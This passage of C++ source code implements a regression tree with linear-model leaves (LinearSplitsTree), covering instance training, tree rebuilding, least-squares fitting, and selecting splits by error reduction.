&& id == 10){\n // DTDEBUG = true;\n // SPLITDEBUG = true;\n // INCDEBUG = true;\n //}\n\n if ( DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n rebuildTree();\n modelChanged = true;\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n\n if (error > 0.0){\n rebuildTree();\n modelChanged = true;\n } \n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n rebuildTree();\n modelChanged = true;\n }\n }\n\n if (modelChanged){\n if (DTDEBUG || SPLITDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG || SPLITDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n /*\n if (nExperiences % 100 == 0){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n \n // look at error\n float errorSum = 0.0;\n for (int i = 0; i < nExperiences; i++){\n e = experiences[i];\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n errorSum += error;\n }\n float avgError = errorSum / (float)nExperiences;\n cout << \"avgError: \" << avgError << endl << endl;\n }\n */\n\n return modelChanged;\n\n}\n\n\n// here the target output will be a single value\nbool LinearSplitsTree::trainInstances(std::vector<classPair> &instances){\n if (DTDEBUG) cout << \"DT trainInstances: \" << instances.size() << endl;\n\n bool modelChanged = false;\n\n bool doBuild = false;\n\n // loop through instances, possibly checking for errors\n for (unsigned a = 0; a < instances.size(); a++){\n classPair instance = instances[a];\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_LST_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n if (DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n /*\n if (nExperiences % 100 == 0){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n \n // look at error\n float errorSum = 0.0;\n for (int i = 0; i < nExperiences; i++){\n e = experiences[i];\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n errorSum += error;\n }\n float avgError = errorSum / (float)nExperiences;\n cout << \"avgError: \" << avgError << endl << endl;\n }\n */\n\n // depending on mode/etc, maybe re-build tree\n\n // don't need to check if we've already decided\n if (doBuild) continue;\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n doBuild = true;\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n\n if (error > 0.0){\n doBuild = true;\n }\n\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n doBuild = true;\n }\n }\n\n } // loop of new instances\n\n if (DTDEBUG) cout << \"Added \" << instances.size() << \" new instances. doBuild = \" << doBuild << endl;\n\n if (doBuild){\n rebuildTree();\n modelChanged = true;\n }\n\n if (modelChanged){\n if (DTDEBUG || SPLITDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG || SPLITDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n return modelChanged;\n\n}\n\n\nvoid LinearSplitsTree::rebuildTree(){\n //cout << \"rebuild tree \" << id << \" on exp: \" << nExperiences << endl;\n //deleteTree(root);\n\n // re-calculate avg error for root\n root->avgError = calcAvgErrorforSet(experiences);\n\n buildTree(root, experiences, false);\n //cout << \"tree \" << id << \" rebuilt. \" << endl;\n}\n\n\n// TODO: here we want to return the probability of the output value being each of the possible values, in the stochastic case\nvoid LinearSplitsTree::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (DTDEBUG) cout << \"testInstance on tree \" << id << endl;\n\n retval->clear();\n\n // in case the tree is empty\n if (experiences.size() == 0){\n (*retval)[0.0] = 1.0;\n return;\n }\n\n // follow through tree to leaf\n tree_node* leaf = traverseTree(root, input);\n lastNode = leaf;\n\n // and return mapping of outputs and their probabilities\n leafPrediction(leaf, input, retval);\n\n}\n\nfloat LinearSplitsTree::getConf(const std::vector<float> &input){\n if (DTDEBUG) cout << \"numVisits\" << endl;\n\n // in case the tree is empty\n if (experiences.size() == 0){\n return 0;\n }\n\n if (lastNode == NULL)\n return 0;\n\n // follow through tree to leaf\n //tree_node* leaf = traverseTree(root, input);\n\n // and return # in this leaf\n float conf = (float)lastNode->nInstances / (float)(2.0*M);\n if (conf > 1.0)\n return 1.0;\n else\n return conf;\n\n}\n\n// check to see if this state is one we should explore\n// to get more info on potential splits\n\n\n\n// init the tree\nvoid LinearSplitsTree::initTree(){\n if (DTDEBUG) cout << \"initTree()\" << endl;\n root = allocateNode();\n\n if (DTDEBUG) cout << \" root id = \" << root->id << endl;\n\n // just to ensure the diff models are on different random values\n for (int i = 0; i < id; i++){\n rng.uniform(0, 1);\n }\n\n}\n\n\n\n// init a tree node\nvoid LinearSplitsTree::initTreeNode(tree_node* node){\n if (DTDEBUG) cout << \"initTreeNode()\";\n\n node->id = nnodes++;\n if (DTDEBUG) cout << \" id = \" << node->id << endl;\n\n totalnodes++;\n if (totalnodes > maxnodes){\n maxnodes = totalnodes;\n if (DTDEBUG) cout << id << \" LS MAX nodes: \" << maxnodes << endl;\n }\n\n // split criterion\n node->dim = -1;\n node->val = -1;\n\n // current data\n node->nInstances = 0;\n\n // coefficients\n node->constant = 0.0;\n\n // coefficients will get resized later\n // node->coefficients.resize(2,0);\n\n // next nodes in tree\n node->l = NULL;\n node->r = NULL;\n\n node->leaf = true;\n node->avgError = 10000;\n\n}\n\n/** delete current tree */\nvoid LinearSplitsTree::deleteTree(tree_node* node){\n if (DTDEBUG) cout << \"deleteTree, node=\" << node->id << endl;\n\n if (node==NULL)\n return;\n\n totalnodes--;\n\n node->nInstances = 0;\n node->coefficients.clear();\n \n //recursively call deleteTree on children\n // then delete them\n if (!node->leaf){\n // left child\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n // right child\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n }\n\n node->dim = -1;\n node->leaf = true;\n node->avgError = 10000;\n node->val = -1;\n node->constant = 0;\n}\n\n\n/** Get the correct child of this node based on the input */\nLinearSplitsTree::tree_node* LinearSplitsTree::getCorrectChild(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"getCorrectChild, node=\" << node->id << endl;\n\n if (passTest(node->dim, node->val, input))\n return node->l;\n else\n return node->r;\n\n}\n\n/** Traverse the tree to the leaf for this input. */\nLinearSplitsTree::tree_node* LinearSplitsTree::traverseTree(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"traverseTree, node=\" << node->id << endl;\n\n while (!node->leaf){\n node = getCorrectChild(node, input);\n }\n\n return node;\n}\n\n\n/** Decide if this passes the test */\nbool LinearSplitsTree::passTest(int dim, float val, const std::vector<float> &input){\n if (DTDEBUG) cout << \"passTest, dim=\" << dim << \",val=\" << val \n << \",input[\"<<dim<<\"]=\" << input[dim] <<endl;\n\n \n if (input[dim] > val)\n return false;\n else\n return true;\n\n}\n\n\n/** Build the tree from this node down using this set of experiences. */\nvoid LinearSplitsTree::buildTree(tree_node *node,\n const std::vector<tree_experience*> &instances,\n bool changed){\n if(DTDEBUG) cout << \"buildTree, node=\" << node->id\n << \",nInstances:\" << instances.size()\n << \",chg:\" << changed << endl;\n\n if (instances.size() == 0){\n cout << \"Error: buildTree called on tree \" << id << \" node \" << node->id << \" with no instances.\" << endl;\n exit(-1);\n }\n\n\n // TODO: what about stochastic data?\n //std::vector<float> chiSquare = calcChiSquare(instances);\n\n // first, add instances to tree\n node->nInstances = instances.size();\n\n // add each output to this node\n bool allSame = true;\n float val0 = instances[0]->output;\n for (unsigned i = 1; i < instances.size(); i++){\n if (instances[i]->output != val0){\n allSame = false;\n break;\n }\n }\n\n // see if they're all the same\n if (allSame){\n makeLeaf(node, instances);\n if (DTDEBUG){\n cout << \"Tree \" << id << \" node \" << node->id \n << \" All \" << node->nInstances\n << \" classified with output \"\n << instances[0]->output << \", \" << node->constant << endl;\n }\n return;\n }\n\n // check if linear model has no error\n if (node != root && node->avgError < MIN_ER){\n makeLeaf(node, instances);\n if (node->avgError < MIN_ER){\n if (DTDEBUG) {\n cout << \"Tree \" << id << \" node \" << node->id\n << \" has low error \" << node->avgError << \" keeping as leaf\" << endl;\n }\n return;\n }\n }\n \n // if not, calculate ER to determine best split\n if (SPLITDEBUG) cout << endl << \"Creating new decision node \" << id << \"-\" << node->id << endl;\n\n node->leaf = false;\n //node->nInstances++;\n\n float bestER = -1.0;\n int bestDim = -1;\n float bestVal = -1;\n std::vector<tree_experience*> bestLeft;\n std::vector<tree_experience*> bestRight;\n float leftError = 10000;\n float rightError = 10000;\n\n testPossibleSplits(node->avgError, instances, &bestER, &bestDim, &bestVal, &bestLeft, &bestRight, &leftError, &rightError);\n\n implementSplit(node, instances, bestER, bestDim, bestVal, bestLeft, bestRight, changed, leftError, rightError);\n\n}\n\n\nvoid LinearSplitsTree::makeLeaf(tree_node* node, const std::vector<tree_experience*> &instances){\n\n // check on children\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n\n node->leaf = true;\n\n // fit linear model\n if (SIMPLE)\n node->avgError = fitSimpleLinearModel(instances, &(node->constant), &(node->coefficients));\n else \n node->avgError = fitMultiLinearModel(instances, &(node->constant), &(node->coefficients));\n\n if (DTDEBUG || LMDEBUG){\n cout << \"make leaf, fit linear model with constant \" << node->constant \n << \" error: \" << node->avgError << endl;\n }\n\n}\n\n\nfloat LinearSplitsTree::fitMultiLinearModel(const std::vector<tree_experience*> &instances,\n float *bestConstant, \n std::vector<float> *bestCoefficients){\n if(DTDEBUG || LMDEBUG) cout << \"fitMultiLinearModel\"\n << \",nInstances:\" << instances.size() << endl;\n\n // make sure there are enough coefficients for all the features\n if (bestCoefficients->size() != instances[0]->input.size()){\n bestCoefficients->resize(instances[0]->input.size(), 0); \n }\n\n // in case of size 1\n if (instances.size() == 1){\n *bestConstant = instances[0]->output;\n for (unsigned i = 0; i < bestCoefficients->size(); i++){\n (*bestCoefficients)[i] = 0.0;\n }\n if (LMDEBUG || SPLITDEBUG){\n cout << \" Singleton constant: \" \n << *bestConstant << \" avgE: \" << 0 << endl;\n }\n return 0;\n }\n\n // loop through all features, try simple single variable regression\n // keep track of error/coefficient of each\n float bestError = 100000;\n float avgError = 100000;\n bool doRegression = true;\n int ntimes = 0;\n\n std::vector<bool> featureMask(bestCoefficients->size(), true);\n\n while (doRegression){\n //cout << id << \" Attempt linear model \" << ntimes << endl;\n ntimes++;\n\n int nObs = (int)instances.size();\n\n int nFeats = 0;\n for (unsigned i = 0; i < featureMask.size(); i++){\n if (featureMask[i]) nFeats++;\n }\n if (nFeats < 1)\n break;\n\n // no feats or obs, no model to build\n if (nObs == 0 || nFeats == 0)\n break;\n\n Matrix X(nObs, nFeats);\n ColumnVector Y(nObs);\n\n std::vector<int> featIndices(nFeats);\n\n std::vector<bool> constants(nFeats,true);\n bool foundProblem = false;\n \n // load up matrices\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n if (LMDEBUG) cout << \"Obs: \" << i;\n\n // go through all features\n int featIndex = 1;\n for (unsigned j = 0; j < featureMask.size(); j++){\n (*bestCoefficients)[j] = 0;\n if (!featureMask[j])\n continue;\n\n if (constants[j] && e->input[j] != instances[0]->input[j]){\n constants[j] = false;\n }\n\n if (i == nObs-1 && constants[j]){\n //cout << \"PROBLEM: feat \" << j << \" is constant!\" << endl;\n foundProblem = true;\n featureMask[j] = false;\n nFeats--;\n if (nFeats > 0)\n continue;\n else\n break;\n }\n\n featIndices[featIndex-1] = j;\n // HACK: I'm adding random noise here to prevent colinear features\n X(i+1,featIndex) = e->input[j]; // + rng.uniform(-0.00001, 0.00001);\n if (LMDEBUG){\n cout << \" Feat \" << featIndex << \" index \" << j\n << \" val \" << X(i+1,featIndex) << \",\";\n }\n featIndex++;\n }\n\n Y(i+1) = e->output;\n if (LMDEBUG) cout << \" out: \" << e->output << endl;\n }\n\n if (foundProblem)\n continue;\n\n // make vector of 1s\n ColumnVector Ones(nObs); Ones = 1.0;\n\n // calculate means (averages) of x1 and x2 [ .t() takes transpose]\n RowVector Mrow = Ones.t() * X / nObs;\n\n // and subtract means from x1 and x1\n Matrix XC(nObs,nFeats);\n XC = X - Ones * Mrow;\n\n // do the same to Y [use Sum to get sum of elements]\n ColumnVector YC(nObs);\n Real mval = Sum(Y) / nObs;\n YC = Y - Ones * mval;\n\n // form sum of squares and product matrix\n // [use << rather than = for copying Matrix into SymmetricMatrix]\n SymmetricMatrix SSQ;\n SSQ << XC.t() * XC;\n\n Try {\n\n ///////////////////////////\n // Cholesky Method\n LowerTriangularMatrix L = Cholesky(SSQ);\n\n // calculate estimate\n ColumnVector A = L.t().i() * (L.i() * (XC.t() * YC));\n ///////////////////////////\n \n //////////////////////////\n // Least Squares Method\n /*\n // calculate estimate\n // [bracket last two terms to force this multiplication first]\n // [ .i() means inverse, but inverse is not explicity calculated]\n ColumnVector A = SSQ.i() * (XC.t() * YC);\n //////////////////////////\n */\n \n // calculate estimate of constant term\n // [AsScalar converts 1x1 matrix to Real]\n Real a = mval - (Mrow * A).AsScalar();\n\n // Calculate fitted values and residuals\n //int npred1 = nFeats+1;\n ColumnVector Fitted = X * A + a;\n ColumnVector Residual = Y - Fitted;\n //Real ResVar = Residual.SumSquare() / (nObs-npred1);\n\n // print out answers\n // for each instance\n bestError = 0;\n for (int i = 0; i < nObs; i++){\n if (DTDEBUG || LMDEBUG){\n cout << \"instance \" << i << \" linear model predicted: \" << Fitted(i+1)\n << \" actual: \" << instances[i]->output\n << \" error: \" << Residual(i+1) << endl;\n }\n bestError += fabs(Residual(i+1));\n }\n avgError = bestError / (float)nObs;\n\n // coeff\n for (int i = 0; i < nFeats; i++){\n if (DTDEBUG || LMDEBUG) cout << \"Coeff \" << i << \" on feat: \" << featIndices[i] << \" is \" << A(i+1) << endl;\n (*bestCoefficients)[featIndices[i]] = A(i+1);\n }\n if (DTDEBUG || LMDEBUG) cout << \"constant is \" << a << endl;\n *bestConstant = a;\n\n }\n\n CatchAll {\n // had an error trying the linear regression.\n // HACK TODO: for now, turn off one variable\n //cout << ntimes << \" linear regression had exception\" << endl;\n //<< BaseException::what() <<endl;\n\n /*\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n cout << \"Obs: \" << i;\n \n // go through all features\n int featIndex = 1;\n for (unsigned j = 0; j < featureMask.size(); j++){\n node->coefficients[j] = 0;\n if (!featureMask[j])\n continue;\n \n \n cout << \" Feat \" << featIndex << \" index \" << j\n << \" val \" << X(i+1,featIndex) << \",\";\n \n featIndex++;\n }\n \n cout << \" out: \" << e->output << endl;\n }\n */\n\n // tried this already, stop now\n if (ntimes > 2 || nFeats < 2){\n //cout << \"max regression\" << endl;\n doRegression = false;\n break;\n }\n for (unsigned j = 0; j < featureMask.size(); j++){\n if (featureMask[j]){\n //cout << \"remove feature \" << j << endl;\n featureMask[j] = false;\n nFeats--;\n break;\n }\n }\n continue;\n } // catch\n\n // it worked, dont need to do it again\n doRegression = false;\n\n }\n\n // return error\n return avgError;\n\n}\n\n\nfloat LinearSplitsTree::fitSimpleLinearModel(const std::vector<tree_experience*> &instances,\n float *bestConstant, std::vector<float> *bestCoefficients){\n if(DTDEBUG || LMDEBUG || SPLITDEBUG) cout << \" fitSimpleLinearModel, \"\n << \",nInstances:\" << instances.size() << endl;\n \n // make sure there are enough coefficients for all the features\n if (bestCoefficients->size() != instances[0]->input.size()){\n bestCoefficients->resize(instances[0]->input.size(), 0); \n }\n\n // loop through all features, try simple single variable regression\n // keep track of error/coefficient of each\n int bestFeat = -1;\n float bestCoeff = -1;\n float bestError = 100000;\n *bestConstant = -1;\n\n // in case of size 1\n if (instances.size() == 1){\n bestFeat = 0;\n *bestConstant = instances[0]->output;\n for (unsigned i = 0; i < bestCoefficients->size(); i++){\n (*bestCoefficients)[i] = 0.0;\n }\n bestError = 0;\n if (LMDEBUG || SPLITDEBUG){\n cout << \" Singleton constant: \" \n << *bestConstant << \" avgE: \" << bestError << endl;\n }\n return 0;\n }\n\n std::vector<float> xsum(instances[0]->input.size(), 0);\n std::vector<float> xysum(instances[0]->input.size(), 0);\n std::vector<float> x2sum(instances[0]->input.size(), 0);\n float ysum = 0;\n\n int nObs = (int)instances.size();\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n if (LMDEBUG) cout << \"Obs: \" << i;\n \n // go through all features\n for (unsigned j = 0; j < instances[0]->input.size(); j++){\n if (LMDEBUG) cout << \", F\" << j << \": \" << e->input[j];\n xsum[j] += e->input[j];\n xysum[j] += (e->input[j] * e->output);\n x2sum[j] += (e->input[j] * e->input[j]);\n }\n ysum += e->output;\n if (LMDEBUG) cout << \", out: \" << e->output << endl;\n }\n\n // now go through all features and calc coeff and constant\n for (unsigned j = 0; j < instances[0]->input.size(); j++){\n float coeff = (xysum[j] - xsum[j]*ysum/nObs)/(x2sum[j]-(xsum[j]*xsum[j])/nObs);\n float constant = (ysum/nObs) - coeff*(xsum[j]/nObs);\n\n // so we don't get absurd coefficients that get rounded off earlier\n if (fabs(coeff) < 1e-5){\n coeff = 0.0;\n }\n if (fabs(constant) < 1e-5){\n constant = 0.0;\n }\n\n if (LMDEBUG) {\n cout << \"Feat \" << j << \" coeff: \" << coeff << \", constant: \" \n << constant << endl;\n }\n\n // now try to make predictions and see what error is\n float errorSum = 0;\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n float pred = constant + coeff * e->input[j];\n float error = fabs(pred - e->output);\n if (LMDEBUG) cout << \"Instance \" << i << \" error: \" << error << endl;\n errorSum += error;\n }\n float avgError = errorSum / (float)nObs;\n if (LMDEBUG) cout << \"avgError: \" << avgError << endl;\n\n // check if this is the best\n if (avgError < bestError){\n bestError = avgError;\n bestFeat = j;\n *bestConstant = constant;\n bestCoeff = coeff;\n }\n }\n \n if (LMDEBUG || SPLITDEBUG){\n cout << \" LST feat: \" << bestFeat << \" coeff: \" \n << bestCoeff << \" constant: \" \n << *bestConstant << \" avgE: \" << bestError << endl;\n }\n\n if (bestFeat < 0 || bestFeat > (int)instances[0]->input.size()){\n for (unsigned i = 0; i < bestCoefficients->size(); i++){\n (*bestCoefficients)[i] = 0.0;\n }\n *bestConstant = 0.0;\n return 100000;\n }\n\n // fill in coeff vector\n for (unsigned i = 0; i < bestCoefficients->size(); i++){\n if (i == (unsigned)bestFeat)\n (*bestCoefficients)[i] = bestCoeff;\n else\n (*bestCoefficients)[i] = 0.0; \n }\n\n return bestError;\n \n}\n\n\n\n\nvoid LinearSplitsTree::implementSplit(tree_node* node, \n const std::vector<tree_experience*> &instances,\n float bestER, int bestDim,\n float bestVal, \n const std::vector<tree_experience*> &bestLeft,\n const std::vector<tree_experience*> &bestRight,\n bool changed, float leftError, float rightError){\n if (DTDEBUG) cout << \"implementSplit node=\" << node->id\n << \",er=\" << bestER\n << \",dim=\" << bestDim\n << \",val=\" << bestVal \n << \",chg=\" << changed << endl;\n\n\n // see if this should still be a leaf node\n if (bestER < MIN_ER){\n makeLeaf(node, instances);\n\n if (SPLITDEBUG || STOCH_DEBUG){\n cout << \" DT \" << id << \" Node \" << node->id << \" Poor er \"\n << node->nInstances\n << \" instances classified at leaf \" << node->id\n << \" with er \" << bestER << \" constant: \" << node->constant << endl;\n }\n return;\n }\n\n //cout << id << \" implement split with er \" << bestER << endl;\n\n // see if this split changed or not\n // assuming no changes above\n if (!changed && node->dim == bestDim && node->val == bestVal\n && !node->leaf && node->l != NULL && node->r != NULL){\n // same split as before.\n if (DTDEBUG || SPLITDEBUG) cout << \"Same split as before \" << node->id << endl;\n node->l->avgError = leftError;\n node->r->avgError = rightError;\n\n\n // see which leaf changed\n if (bestLeft.size() > (unsigned)node->l->nInstances){\n // redo left side\n if (DTDEBUG) cout << \"Rebuild left side of tree\" << endl;\n buildTree(node->l, bestLeft, changed);\n }\n\n if (bestRight.size() > (unsigned)node->r->nInstances){\n // redo right side\n if (DTDEBUG) cout << \"Rebuild right side of tree\" << endl;\n buildTree(node->r, bestRight, changed);\n }\n return;\n }\n\n\n // totally new\n // set the best split here\n node->leaf = false;\n node->dim = bestDim;\n node->val = bestVal;\n\n if (SPLITDEBUG) cout << \"Best split was cut with val \" << node->val\n << \" on dim \" << node->dim\n << \" with er: \" << bestER << endl;\n\n if (DTDEBUG) cout << \"Left has \" << bestLeft.size()\n << \", right has \" << bestRight.size() << endl;\n\n // make sure both instances\n if (bestLeft.size() == 0 || bestRight.size() == 0){\n cout << \"ERROR: DT \" << id << \" node \" << node->id << \" has 0 instances: left: \" << bestLeft.size()\n << \" right: \" << bestRight.size() << endl;\n cout << \"Split was cut with val \" << node->val\n << \" on dim \" << node->dim\n << \" with er: \" << bestER << endl;\n exit(-1);\n }\n\n\n // check if these already exist\n if (node->l == NULL){\n if (DTDEBUG) cout << \"Init new left tree nodes \" << endl;\n node->l = allocateNode();\n }\n if (node->r == NULL){\n if (DTDEBUG) cout << \"Init new right tree nodes \" << endl;\n node->r = allocateNode();\n }\n\n // recursively build the sub-trees to this one\n if (DTDEBUG) cout << \"Building left tree for node \" << node->id << endl;\n node->l->avgError = leftError;\n buildTree(node->l, bestLeft, true);\n if (DTDEBUG) cout << \"Building right tree for node \" << node->id << endl;\n node->r->avgError = rightError;\n buildTree(node->r, bestRight, true);\n\n}\n\n\nvoid LinearSplitsTree::testPossibleSplits(float avgError, const std::vector<tree_experience*> &instances,\n float *bestER, int *bestDim,\n float *bestVal, \n std::vector<tree_experience*> *bestLeft,\n std::vector<tree_experience*> *bestRight,\n float *bestLeftError, float *bestRightError) {\n if (DTDEBUG || SPLITDEBUG) cout << \"testPossibleSplits, error=\" << avgError << endl;\n\n int nties = 0;\n\n // for each possible split, calc standard deviation reduction\n for (unsigned idim = 0; idim < instances[0]->input.size(); idim++){\n\n //float* sorted = sortOnDim(idim, instances);\n float minVal, maxVal;\n std::set<float> uniques = getUniques(idim, instances, minVal, maxVal);\n\n for (std::set<float>::iterator j = uniques.begin(); j != uniques.end(); j++){\n\n // skip max val, not a valid cut for either\n if ((*j) == maxVal)\n continue;\n\n // if this is a random forest, we eliminate some random number of splits\n // here (decision is taken from the random set that are left)\n if (rng.uniform() < featPct)\n continue;\n \n std::vector<tree_experience*> left;\n std::vector<tree_experience*> right;\n float leftError = 10000;\n float rightError = 10000;\n\n // splits that are cuts\n float splitval = (*j);\n float er = calcER(idim, splitval, instances, avgError, left, right, &leftError, &rightError);\n\n if (SPLITDEBUG){\n cout << id << \" CUT split val \" << splitval\n << \" on dim: \" << idim << \" had er \"\n << er << endl;\n }\n\n // see if this is the new best er\n compareSplits(er, idim, splitval, left, right, &nties, leftError, rightError,\n bestER, bestDim, bestVal,bestLeft, bestRight, bestLeftError, bestRightError);\n\n\n } // j loop\n }\n}\n\n\n\n/** Decide if this split is better. */\nvoid LinearSplitsTree::compareSplits(float er, int dim, float val, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n int *nties, float leftError, float rightError,\n float *bestER, int *bestDim,\n float *bestVal, \n std::vector<tree_experience*> *bestLeft,\n std::vector<tree_experience*> *bestRight,\n float *bestLeftError, float *bestRightError){\n if (DTDEBUG) cout << \"compareSplits er=\" << er << \",dim=\" << dim\n << \",val=\" << val <<endl;\n\n\n bool newBest = false;\n\n // if its a virtual tie, break it randomly\n if (fabs(*bestER - er) < SPLIT_MARGIN){\n //cout << \"Split tie, making random decision\" << endl;\n\n (*nties)++;\n float randomval = rng.uniform(0,1);\n float newsplitprob = (1.0 / (float)*nties);\n\n if (randomval < newsplitprob){\n newBest = true;\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", selecting new split \" << endl;\n }\n else\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", staying with old split \" << endl;\n }\n\n // if its clearly better, set this as the best split\n else if (er > *bestER){\n newBest = true;\n *nties = 1;\n }\n\n\n // set the split features\n if (newBest){\n *bestER = er;\n *bestDim = dim;\n *bestVal = val;\n *bestLeft = left;\n *bestRight = right;\n *bestLeftError = leftError;\n *bestRightError = rightError;\n if (SPLITDEBUG){\n cout << \" New best er: \" << *bestER\n << \" with val \" << *bestVal\n << \" on dim \" << *bestDim << endl;\n }\n } // newbest\n}\n\n/** Calculate error reduction for this possible split. */\nfloat LinearSplitsTree::calcER(int dim, float val,\n const std::vector<tree_experience*> &instances,\n float avgError,\n std::vector<tree_experience*> &left,\n std::vector<tree_experience*> &right,\n float *leftError, float *rightError){\n if (DTDEBUG || SPLITDEBUG) cout << \"calcER, dim=\" << dim\n << \" val=\" << val\n << \" err=\" << avgError\n << \" nInstances= \" << instances.size() << endl;\n\n left.clear();\n right.clear();\n\n // split into two sides\n for (unsigned i = 0; i < instances.size(); i++){\n if (DTDEBUG) cout << \" calcER - Classify instance \" << i << \" on new split \" << endl;\n\n if (passTest(dim, val, instances[i]->input)){\n left.push_back(instances[i]);\n }\n else{\n right.push_back(instances[i]);\n }\n }\n\n if (DTDEBUG) cout << \"Left has \" << left.size()\n << \", right has \" << right.size() << endl;\n\n // get sd for both sides\n *leftError = calcAvgErrorforSet(left);\n *rightError = calcAvgErrorforSet(right);\n\n float leftRatio = (float)left.size() / (float)instances.size();\n float rightRatio = (float)right.size() / (float)instances.size();\n float newError = (leftRatio * (*leftError) + rightRatio * (*rightError));\n\n float er = avgError - newError;\n\n if (DTDEBUG || SPLITDEBUG){\n cout << \"LeftError: \" << *leftError\n << \" RightError: \" << *rightError\n << \" NewError: \" << newError\n << \" NodeError: \" << avgError\n << \" ER: \" << er\n << endl;\n }\n\n return er;\n\n}\n\n/** Calculate std deviation for set. */\nfloat LinearSplitsTree::calcAvgErrorforSet(const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"calcAvgErrorforSet\" << endl;\n\n int n = instances.size();\n\n if (n == 0)\n return 0;\n\n // fit a linear model to instances\n // and figure out avg error of it\n float constant;\n float avgError = 0.0;\n std::vector<float> coeff;\n if (SIMPLE) \n avgError = fitSimpleLinearModel(instances, &constant, &coeff);\n else \n avgError = fitMultiLinearModel(instances, &constant, &coeff);\n\n return avgError;\n}\n\n\n/** Returns the unique elements at this index */\nstd::set<float> LinearSplitsTree::getUniques(int dim, const std::vector<tree_experience*> &instances, float& minVal, float& maxVal){\n if (DTDEBUG) cout << \"getUniques,dim = \" << dim;\n\n std::set<float> uniques;\n\n for (int i = 0; i < (int)instances.size(); i++){\n if (i == 0 || instances[i]->input[dim] < minVal)\n minVal = instances[i]->input[dim];\n if (i == 0 || instances[i]->input[dim] > maxVal)\n maxVal = instances[i]->input[dim];\n\n uniques.insert(instances[i]->input[dim]);\n }\n\n \n // lets not try more than 100 possible splits per dimension\n if (uniques.size() > 100){\n float rangeInc = (maxVal - minVal) / 100.0;\n uniques.clear();\n for (float i = minVal; i < maxVal; i+= rangeInc){\n uniques.insert(i);\n }\n }\n uniques.insert(maxVal);\n \n\n if (DTDEBUG) cout << \" #: \" << uniques.size() << endl;\n return uniques;\n}\n\n\n/** Returns a list of the attributes in this dimension sorted\n from lowest to highest. */\nfloat* LinearSplitsTree::sortOnDim(int dim, const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"sortOnDim,dim = \" << dim << endl;\n\n float* values = new float[instances.size()];\n\n for (int i = 0; i < (int)instances.size(); i++){\n //cout << \"Instance \" << i << endl;\n\n float val = instances[i]->input[dim];\n //cout << 